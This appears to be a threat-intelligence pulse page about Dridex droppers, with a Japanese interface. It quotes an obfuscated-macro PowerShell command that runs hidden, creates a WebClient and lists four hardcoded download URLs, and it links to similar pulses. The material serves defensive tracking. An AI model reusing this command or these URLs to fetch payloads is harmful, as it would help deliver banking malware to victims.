Trusted Design

Dridex droppers

概要

The mentioned URL were hardcoded in the obfuscated vbscript that was embedded a macro in a doc file Below is the command : cmd.exe /c start /b powershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$word = new-object -ComObject word.application;$random = new-object random;$version = $word.version;$urls = 'http://meyermuehltal.de/0h656jk,http://technologyservice.eu/0h656jk,http://tspars.com/0h656jk,http://thaipowertools.com/0h656jk'.Split(',');

Created: 2026-02-23

Indicators

Indicatorsは見つかっていない。

類似Pulses

• Dridex Download URL from Malicious Macro - 05/05/2016 (score: 0.71)
• Spam Delivering Malicious Word Document (score: 0.63)
• PowerSniff Malware Used in Macro-based Attacks (score: 0.56)
• Dyre Botnet Using Malicious Microsoft Word Macros (score: 0.56)
• Dridex SPAM campaign (score: 0.55)

このPulseに関連する脅威アクター (事実ベース)

このPulseに関連する脅威アクター (推論ベース)

Related CVEs

このPulseに見つかったCVEはありません。

Pulse – 脅威アクター グラフ

---

← Pulse一覧に戻る